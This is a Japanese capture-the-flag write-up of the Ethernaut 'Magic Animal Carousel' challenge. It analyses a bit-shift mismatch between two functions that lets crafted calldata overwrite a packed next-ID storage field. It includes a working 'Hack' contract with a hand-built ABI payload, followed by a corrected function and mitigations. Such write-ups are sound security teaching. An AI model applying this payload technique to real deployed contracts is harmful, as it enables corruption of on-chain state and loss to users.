AiAda Docs / Smart Contract Writeups

Appearance

Return to top
On this page

Magic Animal Carousel: スマートコントラクトのビット操作とストレージ操作の脆弱性分析

はじめに

Magic Animal Carouselは、OpenZeppelinのEthernautプラットフォーム上の高度なスマートコントラクトセキュリティチャレンジです。この課題では、Solidityコントラクトにおけるビット操作、ストレージレイアウト、およびABIエンコーディングの微妙な側面を理解することが求められます。本記事では、このコントラクトの技術的詳細、潜在的な脆弱性、およびその悪用方法について詳細に解説します。

コントラクトの概要と設計

MagicAnimalCarouselコントラクトは、動物の名前を格納する「回転木馬」システムを実装しています。各エントリ（クレート）は単一の256ビットストレージスロットにパックされ、以下の情報を含みます：

  • 動物名（80ビット）
  • 次のクレートID（16ビット）
  • 所有者アドレス（160ビット）

このコンパクトなデータパッキングはガス効率を向上させますが、適切に実装されない場合、セキュリティ上の問題を引き起こす可能性があります。

ストレージレイアウトの詳細

コントラクトで定義されているビットマスクは、データの各コンポーネントを分離するために使用されます：

solidity
uint256 constant ANIMAL_MASK = uint256(type(uint80).max) << 160 + 16;
uint256 constant NEXT_ID_MASK = uint256(type(uint16).max) << 160;
uint256 constant OWNER_MASK = uint256(type(uint160).max);

ストレージスロットのビットレイアウト：

  • ビット 0-159: 所有者アドレス (160ビット)
  • ビット 160-175: 次のクレートID (16ビット)
  • ビット 176-255: 動物名 (80ビット)

主要な関数の分析

1. encodeAnimalName関数

この関数は動物名をエンコードする役割を担います：

solidity
function encodeAnimalName(string calldata animalName) public pure returns (uint256) {
    require(bytes(animalName).length <= 12, AnimalNameTooLong());
    return uint256(bytes32(abi.encodePacked(animalName)) >> 160);
}

重要な点は、>> 160というシフト操作です。これは文字列を160ビット右にシフトし、結果的に80ビット（10バイト）のデータのみを保持します。ただし、12文字までの文字列が許可されているため、潜在的なオーバーフローの可能性があります。

2. setAnimalAndSpin関数

この関数は新しい動物を回転木馬に追加します：

solidity
function setAnimalAndSpin(string calldata animal) external {
    uint256 encodedAnimal = encodeAnimalName(animal) >> 16;
    uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160;

    require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong());
    carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)
        | ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender);

    currentCrateId = nextCrateId;
}

ここで注目すべきは、encodeAnimalName(animal) >> 16という追加のシフトです。これにより、エンコードされた動物名はさらに16ビット右にシフトされ、実質的に64ビット（8バイト）のデータのみが使用されます。

3. changeAnimal関数

この関数は既存のクレートの動物を変更します：

solidity
function changeAnimal(string calldata animal, uint256 crateId) external {
    uint256 crate = carousel[crateId];
    require(crate != 0, CrateNotInitialized());
    
    address owner = address(uint160(crate & OWNER_MASK));
    if (owner != address(0)) {
        require(msg.sender == owner);
    }
    uint256 encodedAnimal = encodeAnimalName(animal);
    if (encodedAnimal != 0) {
        // 動物を置き換え
        carousel[crateId] =
            (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender); 
    } else {
        // 動物が指定されていない場合は同じ動物を保持し、所有者スロットをクリア
        carousel[crateId]= (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK));
    }
}

脆弱性の特定

ビットシフトの不一致

主要な脆弱性は、setAnimalAndSpin関数とchangeAnimal関数間のビットシフトの不一致にあります：

  1. setAnimalAndSpinでは：encodeAnimalName(animal) >> 16
  2. changeAnimalでは：encodeAnimalName(animal)（シフトなし）

この不一致により、changeAnimal関数はsetAnimalAndSpin関数よりも16ビット多いデータ（80ビット対64ビット）を動物名として扱います。

ストレージ操作の問題

changeAnimal関数の動物置換ロジックを詳細に分析します：

solidity
carousel[crateId] = (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender);

ここで、encodedAnimal << 160は動物データをビット176-255の位置に配置します。しかし、NEXT_ID_MASKはビット160-175のみを保持し、OWNER_MASKはビット0-159を上書きします。

悪用の詳細

攻撃のコンセプト

攻撃の核心は、changeAnimal関数を使用して、setAnimalAndSpin関数では許可されない追加の16ビットのデータを動物名フィールドに注入することです。この追加データは、NEXT_ID_MASK領域（ビット160-175）に影響を与える可能性があります。

攻撃コントラクトの分析

以下は、悪用を実装するHackコントラクトの主要部分です：

solidity
contract Hack {
    MagicAnimalCarousel private immutable target;
    
    constructor(address _target) {
        target = MagicAnimalCarousel(_target);

        // 初期動物を追加
        target.setAnimalAndSpin("wtls");

        // カスタムABIエンコーディングでchangeAnimalを呼び出し
        uint256 offset = uint256(64);
        uint256 crateId = uint256(1);
        uint256 newAnimalLength = uint256(12);
        bytes memory newMonster = hex"6162636465666768696affff";  
        bytes memory payload = abi.encodePacked(offset, crateId, newAnimalLength, newMonster);
        bytes memory data = abi.encodePacked(target.changeAnimal.selector, payload);
        Address.functionCall(address(target), data); 

        // 別の動物を追加
        target.setAnimalAndSpin("anyw");
        
        // 検証
        require(target.currentCrateId() == type(uint16).max, "Failed to break!");
    }
}

カスタムABIペイロードの構築

攻撃の重要な部分は、カスタムABIエンコーディングを使用してchangeAnimal関数を呼び出すことです：

solidity
bytes memory newMonster = hex"6162636465666768696affff";

この16進数データは「abcdefghij」のASCII表現（0x61-0x6a）に続いて0xffffが付加されています。0xffffは、NEXT_ID_MASK領域を操作するために使用されます。

ビット操作の詳細

攻撃が成功すると：

  1. changeAnimalは80ビットの動物データ（ビット176-255）を書き込みます
  2. 0xffffの部分はビット160-175（NEXT_ID_MASK領域）に影響を与えます
  3. これにより、次のクレートIDが操作され、currentCrateIdがtype(uint16).max（65535）に設定されます

根本原因と防止策

根本原因

  1. ビットシフトの不一致: 異なる関数間で動物名のエンコード方法が一貫していない
  2. 入力検証の不足: changeAnimal関数でエンコードされた動物値の適切な範囲チェックがない
  3. ビットマスクの不適切な適用: 動物データがNEXT_ID_MASK領域に影響を与えることを防ぐための十分な保護がない

防止策

修正されたchangeAnimal関数の実装例：

solidity
function changeAnimal(string calldata animal, uint256 crateId) external {
    uint256 crate = carousel[crateId];
    require(crate != 0, CrateNotInitialized());
    
    address owner = address(uint160(crate & OWNER_MASK));
    if (owner != address(0)) {
        require(msg.sender == owner);
    }
    
    uint256 encodedAnimal = encodeAnimalName(animal);
    
    // 追加の検証：エンコードされた動物が80ビット以内であることを確認
    require(encodedAnimal <= uint256(type(uint80).max), "Animal data too large");
    
    // 適切なビットマスキングを適用
    uint256 animalData = (encodedAnimal << 176) & ANIMAL_MASK;
    uint256 nextIdData = crate & NEXT_ID_MASK;
    uint256 ownerData = uint160(msg.sender);
    
    carousel[crateId] = animalData | nextIdData | ownerData;
}

追加のセキュリティ対策

  1. 一貫したエンコード: すべての関数で同じエンコード方式を使用する
  2. 範囲チェック: すべての入力値に対して適切なビット範囲チェックを実装する
  3. 分離された更新関数: 異なるフィールドを更新するための個別の関数を作成する
  4. テストカバレッジ: 境界条件とビット操作の包括的なテストを実施する

結論

Magic Animal Carouselの課題は、スマートコントラクト開発におけるビット操作の複雑さと危険性を浮き彫りにしています。データをコンパクトにパックすることはガス効率の面でメリットがありますが、一貫性のない実装や不適切な入力検証は重大なセキュリティ脆弱性につながる可能性があります。

この課題から得られる重要な教訓は以下の通りです：

  1. ビット操作を行う場合は、すべての関数で一貫したアプローチを維持する
  2. 入力データに対して厳格な範囲チェックを実施する
  3. ビットマスクを適切に適用して、意図しないデータの上書きを防ぐ
  4. 複雑なビット操作ロジックに対して包括的なテストを実施する

スマートコントラクトのセキュリティは、このような微妙な実装の詳細に大きく依存しています。開発者は、ガス最適化とセキュリティのバランスを取りながら、コードのすべての実行パスを慎重に検討する必要があります。

Built with AiAda

Copyright © 2026